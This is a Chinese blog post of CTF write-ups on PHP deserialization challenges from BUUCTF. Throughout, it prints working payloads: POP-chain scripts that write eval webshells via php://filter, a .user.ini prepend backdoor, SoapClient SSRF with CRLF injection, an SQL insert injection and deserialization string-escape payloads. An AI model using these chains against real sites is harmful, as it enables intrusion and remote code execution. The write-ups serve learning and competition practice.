2020-08-18
10.9k
BUUCTF刷题——PHP反序列化
LCTF2018 Bestphp’s revenge
这篇文章分析的很到位:https://www.anquanke.com/post/id/164569#h2-5
考点
session反序列化
Soapclient + ssrf
CRLF
解题
index.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__ ); $b = 'implode' ; call_user_func($_GET['f' ], $_POST); session_start(); if (isset ($_GET['name' ])) { $_SESSION['name' ] = $_GET['name' ]; } var_dump($_SESSION); $a = array (reset($_SESSION), 'welcome_to_the_lctf2018' ); call_user_func($b, $a); ?>
flag.php
1 2 3 4 5 6 7 8 only localhost can get flag! session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
思路如下:
利用第4行回调函数来调用session_start()
用于覆盖session序列化引擎为php_serilaze;
构造SSRF的Soap类的序列化字符串配合上面的序列化注入写入session文件,并且构造的序列化字符串中利用了CRLF漏洞写入了我们规定的seesion_id;
然后再通过第4行的回调函数调用extract()
函数用于变量覆盖,覆盖掉变量b为回调函数call_user_func
;
同时我们可以传入name=SoapClient
,那么最后call_user_func($b, $a)
就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
,即call_user_func(SoapClient->welcome_to_the_lctf2018)
,由于SoapClient
类中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求。
发送请求也就是去访问flag.php,并将结果保存在cookie为第二步我们规定的session_id的文件中。
再用这个session访问主页,就会var_dump
session文件的内容,其中就包含字段名为flag
的值。
先构造POC:
1 2 3 4 5 6 7 <?php $target = "http://127.0.0.1/flag.php" ; $attack = new SoapClient(null ,array ('location' => $target, 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n" , 'uri' => "123" )); $payload = urlencode(serialize($attack)); echo '|' .$payload;
这个poc就是利用crlf伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
的session中。
再注入反序列化的字符串:
接着触发SoapClient
的__call
方法发送请求:
更改cookie访问:
后记
这道题卡了我一天的时间,还是一个签到题。。。。有一个问题一直困扰我,就是把POC生成的字符串写到session文件后,他是什么时候把session的文件内容给反序列化出来了。后来看了一篇文章才知道:
于是就反序列化了一个SoapClient
的实例,再调用__call
函数的时候就会通过这个实例发送请求。
强网杯2020青龙组 phpweb
考点
解题
打开题目,查看源码有两个隐藏输入框
随便输入测试,有一个报错回显,发现这两个输入框是call_user_func函数的参数。
并且基本上过滤危险函数,用file_get_contents读取index.php
源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func, $p ) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string" ) { return $result; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $func = $_REQUEST["func" ]; $p = $_REQUEST["p" ]; if ($func != null ) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die ("Hacker..." ); } } ?>
有一个很明显的__destruct
函数,可以执行函数并且没有任何过滤,不过没有触发反序列化的点。
但是还是可以利用gettime
函数中的call_user_func
函数传入unserialize
函数,生成字符串:
1 2 3 4 5 6 7 8 <?php class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; } $t = new Test; $ut = serialize($t); echo $ut;
传入参数unserialize
和O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
。
[网鼎杯 2020 青龙组]AreUSerialz
TODO
[安洵杯 2019] easy_serialize_php
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
根据提示查看phpinfo
直接访问d0g3_f1ag.php没有回显。
TODO
[ZJCTF2019]NiZhuanSiWei
考点
解题
直接给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit (); }else { include ($file); $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__ ); } ?>
file_get_contents绕过
有两种方式绕过:
使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
1 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
读取useless.php
题目有第二个参数file,大概是include()这个file,题目提示我们要包含useless.php,同时有一个判断是file参数不能传入flag,也就是我们不能直接包含flag.php。
利用php://filter协议读取这个useless.php,构造payload读取useless.php:
1 ?file=php://filter/read=convert.base64-encode/resource=useless.php
useless.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Flag { public $file; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("HAHAHAHAHA" ); } } }
反序列化
useless.php的魔术方法是__toString()
,刚好可以使用echo $password
触发这个魔术方法。
生成payload:
1 2 3 4 5 6 class Flag { public $file = "flag.php" ; } $o = new Flag(); $s = serialize($o); echo $s;
payload:
1 ?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
综合起来的payload就是:
1 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[MRCTF2020]Ezpop
考点
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Modifier { protected $var="php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source; public $str; } class Test { public $p; } $s = new Show(); $t = new Test(); $m = new Modifier(); $t->p = $m; $s->source = $s; $s->str = $t; echo urlencode(serialize($s));
[EIS 2019]EzPOP
考点
POP链构造
php://filter 绕过exit()
base64编码规则
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php error_reporting(0 ); class A { protected $store; protected $key; protected $expire; public function __construct ($store, $key = 'flysystem' , $expire = null ) { $this ->key = $key; $this ->store = $store; $this ->expire = $expire; } public function cleanContents (array $contents ) { $cachedProperties = array_flip([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage ( ) { $cleaned = $this ->cleanContents($this ->cache); return json_encode([$cleaned, $this ->complete]); } public function save ( ) { $contents = $this ->getForStorage(); $this ->store->set($this ->key, $contents, $this ->expire); } public function __destruct ( ) { if (!$this ->autosave) { $this ->save(); } } } class B { protected function getExpireTime ($expire ): int { return (int ) $expire; } public function getCacheKey (string $name ): string { return $this ->options['prefix' ] . $name; } protected function serialize ($data ): string { if (is_numeric($data)) { return (string ) $data; } $serialize = $this ->options['serialize' ]; return $serialize($data); } public function set ($name, $value, $expire = null ): bool { $this ->writeTimes++; if (is_null($expire)) { $expire = $this ->options['expire' ]; } $expire = $this ->getExpireTime($expire); $filename = $this ->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755 , true ); } catch (\Exception $e) { } } $data = $this ->serialize($value); if ($this ->options['data_compress' ] && function_exists('gzcompress' )) { $data = gzcompress($data, 3 ); } $data = "<?php\n//" . sprintf('%012d' , $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true ; } return false ; } } if (isset ($_GET['src' ])){ highlight_file(__FILE__ ); } $dir = "uploads/" ; if (!is_dir($dir)){ mkdir($dir); } unserialize($_GET["data" ]);
题目提示的很明显,需要构造一个POP链,能利用的魔法函数只有 A::__destruct()
,可能可以利用的敏感函数:B 类 set()
中的 file_put_contents()
。先分析一下 file_put_contents()
函数是否满足利用条件:
1 2 $data = "<?php\n//" . sprintf('%012d' , $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
在 exit() 代码后面拼接 $data
数据,然后写入文件。这样就会导致我们通过$data
写入的shll都不会被执行。
exit()函数可以利用base64_decode
以及php://filter
可以绕过。
谈一谈php://filter的妙用
这里思路是利用 php://filter
提供的各种函数去除 “死亡exit” 。
接下来开始寻找 POP 链
接下来回溯看$filename
和``$data`是怎么来的:
$filename
:先调用getCacheKey($name)
,改方法是执行连接字符串的作用:$this->option['prefix'].$name
构成filename。
$data
:来自于 $this->serialize($value)
,所以再关注$value
是怎么来的。$value
是A::getForStorage()
的返回值:json_encode([A::cleanContents(A::cache), A::complete]);
。
A::cleanContents(A::cache)
实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode 。
其中cleanContents():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function cleanContents (array $contents ) { $cachedProperties = array_flip([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; }
尝试本地运行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function cleanContents (array $contents ) { $cachedProperties = array_flip([ 'path' , 'dirname' , 'basename' , 'extension' , 'filename' , 'size' , 'mimetype' , 'visibility' , 'timestamp' , 'type' , ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } $cache=array (); $complete='<?php @eval($_POST["a"]);?>' ; echo json_encode([cleanContents($cache), $complete]);
得到:
1 [[],"<?php @eval($_POST[\"a\"]);?>"]
可以看到直接complete写入shell会使shell中双引号被转义了,所以得考虑用base64编码绕过转义,再在之后解码。由于之后可以让$this->options['serialize']=base64.decode
,这样和filter://就共有两处解码处理,所以对应这里考虑编码两次。
最终代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class A { protected $store; protected $key; protected $expire; public function __construct ($store,$key,$expire ) { $this ->key=$key; $this ->expire=$expire; $this ->store=$store; } } class B { public $option; } $b=new B(); $b->options['serialize' ]='base64_decode' ; $b->options['data_compress' ]=false ; $b->options['prefix' ]='php://filter/write=convert.base64-decode/resource=uploads/' ; $a=new A($b,'eval.php' ,0 ); $a->autosave=false ; $a->cache=array (); $a->complete=base64_encode('abc' .base64_encode('<?php @eval($_POST["a"]); ?>' )); echo urlencode(serialize($a));
这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/
这64个字符。
编码时:把明文每8位按6位查表转码 ,不足的位数用=
补0
解码时:忽略[",:
等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit
21个字符,因此应该在shell前补上3个有效字符。
[2020 新春红包题]
和上一题类似,在文件名那里做了两个处理,一是文件名包含随机字符,第二点是限制了.php
后缀。
解法1
直接写命令,生成flag文件。
参见安全客文章:https://www.anquanke.com/post/id/194036
1 2 3 4 5 6 $testB = new B(); $testB->options['serialize' ] = 'system' ; $testA = new A($testB, "miao" ); $testA->autosave = 0 ; $testA->cache = ['aaq' => '`cat /flag > ./flag.xml`' ]; echo urlencode(serialize($testA))."\n" ;
首先autosave要为0,$testB->options['serialize']
要为system函数,此时我们对最后的写文件没什莫要求了,但必须要执行到$data = $this->serialize($value);
这步,$testA->cache
要为system要执行的命令。
解法2
对于前面的随机值,使用/…/即可截断,时间戳将会被认为一个目录,后面即可追加写任意文件。
1 2 3 4 5 6 7 8 9 $b = new B(); $b -> options = array ('serialize' => "base64_decode" , 'data_compress' => false , 'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/" ); $a = new A($store = $b, $key = "/../a.php/." , $expire = 0 ); $a->autosave = false ; $a->cache = array (); $a->complete = base64_encode('qaq' .base64_encode('<?php @eval($_POST["s"]);?>' )); echo urlencode(serialize($a));
解法3
先可以利用跨目录,这样就可以不去爆破文件名,再利用.user.ini绕过后缀名限制。
上传图片马
1 2 3 4 5 6 7 8 9 10 11 12 $b = new B(); $b->writeTimes = 0 ; $b -> options = array ('serialize' => "base64_decode" , 'data_compress' => false , 'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu" ); $a = new A($store = $b, $key = "/../../aaaaaa.jpg" , $expire = 0 ); $a->autosave = false ; $a->cache = array (); $a->complete = base64_encode('qaq' .base64_encode('<?php @eval($_POST["moyu"]);?>' )); echo urlencode(serialize($a));
再上传.user.ini
1 2 3 4 5 6 7 8 9 10 11 12 $b = new B(); $b->writeTimes = 0 ; $b -> options = array ('serialize' => "base64_decode" , 'data_compress' => false , 'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/moyu" ); $a = new A($store = $b, $key = "/../../.user.ini" , $expire = 0 ); $a->autosave = false ; $a->cache = array (); $a->complete = base64_encode('qaq' .base64_encode("\nauto_prepend_file=aaaaaa.jpg" )); echo urlencode(serialize($a));
参考
http://althims.com/2020/01/29/buu-new-year/
moonback
[安洵杯2019]不是文件上传
考点
解题
在主页的源码下方有一个开发人员留的信息:wowouploadimage
, github搜索这个名称,即可找到源码。
大概就三个功能:上传、查看、删除。
查看源码,发现有一个__destruct()
函数,以及file_get_content
。
1 2 3 4 5 6 7 8 9 10 11 12 13 public function view_files ($path ) { if ($this ->ifview == False ){ return False ; } $content = file_get_contents($path); echo $content; } function __destruct ( ) { $this ->view_files($this ->config); }
再找反序列化触发的点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query($this ->con, $sql); if ($result->num_rows > 0 ){ while ($row = $result->fetch_assoc()){ if ($row["attr" ]){ $attr_temp = str_replace('\0\0\0' , chr(0 ).'*' .chr(0 ), $row["attr" ]); $attr = unserialize($attr_temp); } echo "<p>id=" .$row["id" ]." filename=" .$row["filename" ]." path=" .$row["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close($this ->con); }
第14行反序列化的值是从数据库中取出的,而序列化的值是图片的长宽,不可控,因此只能尝试SQL注入将attr属性替换掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function insert_array ($data ) { $con = mysqli_connect("127.0.0.1" ,"root" ,"root" ,"pic_base" ); if (mysqli_connect_errno($con)) { die ("Connect MySQL Fail:" .mysqli_connect_error()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key=>$value){ $key_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $key); $value_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $value); $sql_fields[] = "`" .$key_temp."`" ; $sql_val[] = "'" .$value_temp."'" ; } $sql = "INSERT INTO images (" .(implode("," ,$sql_fields)).") VALUES(" .(implode("," ,$sql_val)).")" ; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; }
filename字段直接可控,可以在上传图片时修改filename实现注入。
先生成payload:
1 2 3 4 5 6 7 8 9 10 11 <?php class helper { protected $ifview = true ; protected $config = "/flag" ; } $a = new helper(); echo serialize($a);?>
payload:
1 O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}
由于存在替换:
1 $attr_temp = str_replace('\0\0\0' , chr(0 ).'*' .chr(0 ), $row["attr" ]);
所以把payload变为:
1 O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
1 0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
原来的插入语句为
1 INSERT INTO images (`title` ,`filename` ,`ext` ,`path` ,`attr` ) VALUES ('a' ,'a.jpg' ,'jpg' ,'pic/a.jpg' ,'a:2:{s:5:"width";i:1264;s:6:"height";i:992;}' )
传入title的值:
1 1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
insert注入后
1 INSERT INTO images (`title` ,`filename` ,`ext` ,`path` ,`attr` ) VALUES ('1' ,'1' ,'1' ,'1' ,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d ),('1.jpg' ,'a.jpg' ,'jpg' ,'pic/a.jpg' ,'a:2:{s:5:"width";i:1264;s:6:"height";i:992;}' )
实际上插入了两条数据,取出的时候就会反序列化传入的数据。访问show.php得到flag。
[NPUCTF2020]ReadlezPHP
考点
解题
打开题目直接查看源码,发现有一个time.php?source
,访问即得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class HelloPhp { public $a; public $b; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b($a); } } $c = new HelloPhp; if (isset ($_GET['source' ])){ highlight_file(__FILE__ ); die (0 ); } @$ppp = unserialize($_GET["data" ]);
比较简单的反序列化题目,生成payload
1 2 3 4 5 6 7 8 9 10 11 <?php class HelloPhp { public $a; public $b; } $t = new HelloPhp; $t->a = "phpinfo()" ; $t->b = "assert" ; $ut = serialize($t); echo $ut;
然后全局搜索flag。
后记
一开始我使用eval和phpinfo()无法执行 ,报错eval函数没有定义,去StackOverflow 上一看,说是eval不能用于动态函数。简单来说就是:
eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。
什么是可变函数?
可变函数即变量名加括号,PHP系统会尝试解析成函数,如果有当前变量中的值为命名的函数,就会调用。如果没有就报错。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require,eval() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
所以:
eval是语言构造器而不是一个函数,不能被可变函数调用
在php7.1版本之后 assert()默认不再可以执行代码
[0CTF2016]piapiapia
考点
解题
www.zip
下载源码,一共有6个PHP文件,其中比较重要的就下面这几个文件。
很明显flag在config.php
中
1 2 3 4 5 6 7 <?php $config['hostname' ] = '127.0.0.1' ; $config['username' ] = 'root' ; $config['password' ] = '' ; $config['database' ] = '' ; $flag = '' ; ?>
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require_once ('class.php' ); if ($_SESSION['username' ] == null ) { die ('Login First' ); } $username = $_SESSION['username' ]; $profile=$user->show_profile($username); if ($profile == null ) { header('Location: update.php' ); } else { $profile = unserialize($profile); $phone = $profile['phone' ]; $email = $profile['email' ]; $nickname = $profile['nickname' ]; $photo = base64_encode(file_get_contents($profile['photo' ])); ?>
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php require_once ('class.php' ); if ($_SESSION['username' ] == null ) { die ('Login First' ); } if ($_POST['phone' ] && $_POST['email' ] && $_POST['nickname' ] && $_FILES['photo' ]) { $username = $_SESSION['username' ]; if (!preg_match('/^\d{11}$/' , $_POST['phone' ])) die ('Invalid phone' ); if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST['email' ])) die ('Invalid email' ); if (preg_match('/[^a-zA-Z0-9_]/' , $_POST['nickname' ]) || strlen($_POST['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES['photo' ]; if ($file['size' ] < 5 or $file['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file($file['tmp_name' ], 'upload/' . md5($file['name' ])); $profile['phone' ] = $_POST['phone' ]; $profile['email' ] = $_POST['email' ]; $profile['nickname' ] = $_POST['nickname' ]; $profile['photo' ] = 'upload/' . md5($file['name' ]); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else { ?>
在profile.php
文件中有一个很明显的可以读文件的地方$photo = base64_encode(file_get_contents($profile['photo']));
,并且$profile
变量是经过反序列化的。那么现在的目标就是要把$profile['photo']
的值替换成config.php
,update.php
中可以控制$profile
变量。主要是下面这一段代码:
1 2 3 4 5 6 7 $profile['phone' ] = $_POST['phone' ]; $profile['email' ] = $_POST['email' ]; $profile['nickname' ] = $_POST['nickname' ]; $profile['photo' ] = 'upload/' . md5($file['name' ]); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ;
传入了数组中这四个值,然后将数组序列化后带入user类中的update_profile方法中从而更改表信息。然后我们查看内容时会在profile.php
中反序列化后返回给我们要看的信息。再去看一下update_profile
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function update_profile ($username, $new_profile ) { $username = parent ::filter($username); $new_profile = parent ::filter($new_profile); $where = "username = '$username '" ; return parent ::update($this ->table, 'profile' , $new_profile, $where); } public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape) . '/' ; $string = preg_replace($escape, '_' , $string); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe) . '/i' ; return preg_replace($safe, 'hacker' , $string); }
这是一个防止sql注入的方法,其中他将上面五个sql关键字替换为了hacker。看起来没什么问题,但这却是我们最重要的利用点。
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了 ,则有可能会产生漏洞。
首先我们看一下一个正常的$profile
经过序列化后是什么样子:
1 $profile = a:4 :{s:5 :"phone" ;s:11 :"12345678901" ;s:5 :"email" ;s:8 :"[email protected] " ;s:8 :"nickname" ;s:5 :"ca01h" ;s:5 :"photo" ;s:10 :"config.php" ;}s:39 :"upload/804f743824c0451b2f60d81b63b6a900" ;}
我们更改的信息是要经过序列化存入数据库的,因此如果我们在信息中填入了关键字,比如:
1 a:2:{i:0;s:6:"select";i:1;s:5:"world";}
这样会替换为
1 a:2:{i:0;s:6:"hacker";i:1;s:5:"world";}
反序列化会正常执行,因为字符没什么问题,但如果填入了where。
1 a:2:{i:0;s:5:"where";i:1;s:5:"world";}
会替换为:
1 a:2:{i:0;s:5:"hacker";i:1;s:5:"world";}
这样就会发现会出错,因为where是五个字符,而hacker是六个,对于出where以外的其他都是六字符,所以只有where会出错,因此这就是我们的利用点。当我们把hacker多余的这个r替换成";i:1;s:5:"world";}
时,
1 a:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}
php反序列化时会忽略后面的非法部分";i:1;s:5:“world”;},可以反序列化成功。所以我们可以多写几个where,这样在替换时每多出的一个r就为我们构造字符串提供一个位置,我们需要";}s:5:"photo";s:10:"config.php";}
加在后面用来读config.php文件。共34个字符,因此需要加34的where,所以最后需要输入的数据为:
1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这样在反序列化后大概就是这情况:
1 a:4 :{s:5 :"phone" ;s:11 :"12345678901" ;s:5 :"email" ;s:8 :"[email protected] " ;s:8 :"nickname" ;s:5 :"ca01h" ;s:5 :"photo" ;s:204 :"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere" ;}s:5 :"photo" ;s:10 :"config.php" ;}s:39 :"upload/804f743824c0451b2f60d81b63b6a900" ;}
此时这34个字符会包含在204个总字符内。
替换为hacker后:
1 a:4 :{s:5 :"phone" ;s:11 :"12345678901" ;s:5 :"email" ;s:8 :"[email protected] " ;s:8 :"nickname" ;s:5 :"ca01h" ;s:5 :"photo" ;s:204 :"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ;}s:5 :"photo" ;s:10 :"config.php" ;}s:39 :"upload/804f743824c0451b2f60d81b63b6a900" ;}
因为hacker比where多一个字符,所以正好占据了这多余的34个字符,使得其逃逸了出来,便可以成功反序列化。
payload构造成功了,再找输入点。
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),“abc”) = null
strlen(Array()) = null
下面的这个preg_math可以用数组绕过
1 2 if (preg_match('/[^a-zA-Z0-9_]/' , $_POST['nickname' ]) || strlen($_POST['nickname' ]) > 10 ) die ('Invalid nickname' );
参考
https://xz.aliyun.com/t/7570#toc-9
http://www.lin2zhen.top/index.php/archives/73/
[安洵杯 2019]easy_serialize_php
考点
解题
上来就直接个源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
很容易看到有一个变量覆盖的漏洞,但是还不知道怎么利用,接着往下看。
传入f=phpinfo
可以看到someting,试试看
在每个php文件前面都自动包含了d0g3_f1ag.php
,直接访问没有任何回显。
当$function=show_image
的时候,会调用file_get_contents
函数读取文件内容,如果我们能控制$userinfo['img']
参数为d0g3_f1ga.php
就可以读flag。
但是如果传入img_path
参数的话会先对其base64编码然后sha1加密,是一个不可逆的操作。
那么再去看另外两个参数function
和user
,其中user
也是硬编码无法利用,只能从function
参数入手。此外,我们还要注意到有一个filter
函数用于过滤php
、flag
、php5
、php4
和fl1g
关键字。
任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了 ,则有可能会产生漏洞。
那么这个地方就可以很明显的用到反序列化字符逃逸的漏洞,用于覆盖$userinfo['img']
参数为d0g3_f1ag.php
。首先看一下一个正常的序列化后的$_SESSION
是什么样子的:
1 2 3 4 5 php > $_SESSION["user" ] = 'guest' ; php > $_SESSION["user" ] = 'phpinfo' ; php > $_SESSION['img' ] = base64_encode('guest_img.png' ); php > print_r(serialize($_SESSION)); a:3 :{s:4 :"user" ;s:5 :"guest" ;s:8 :"function" ;s:7 :"phpinfo" ;s:3 :"img" ;s:20 :"Z3Vlc3RfaW1nLnBuZw==" ;}
我们要覆盖掉序列化后的img
参数,也就是要插入s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
,即
1 a:3 :{s:4 :"user" ;s:5 :"guest" ;s:8 :"function" ;s:7 :"phpinfo" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}";s:3:" img";s:20:" Z3Vlc3RfaW1nLnBuZw==";}
